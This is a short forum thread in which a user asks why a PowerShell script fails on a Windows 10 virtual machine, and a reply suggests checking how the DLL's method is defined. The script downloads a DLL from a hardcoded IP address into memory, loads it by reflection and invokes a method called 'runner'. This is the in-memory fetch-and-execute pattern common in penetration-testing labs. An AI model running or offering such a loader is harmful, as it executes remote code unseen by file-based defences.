SOLVED

Powershell Execute a specific method from an assembly

New Contributor

Hello,

I'm trying to execute this script.ps1
in my vm of Windows 10

This variables gives me problems :

$method= $class.GetMethod("runner")

$method.Invoke(0, $null)

It cannot call method value of null

invalid operation

runtime exception

This is the code:

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/lib.dll')$assem = [System.Reflection.Assembly]::Load($data)$class = $assem.GetType("ClassLibrary1.Class1")$method = $class.GetMethod("runner")$method.Invoke(0, $null)

What can i do?

Thanks
2 Replies
best response confirmed by Ace_92 (New Contributor)
Solution
It seems that the DLL that’s being downloaded doesn’t support a method call with the $null parameter. It’s unclear to me what this DLL is and how the method is defined. But that would be the first thing to check.

The runner method of ClassLibrary1.Class1 in lib.dll.
Hey thanks for this
I will check it out
Cheers :)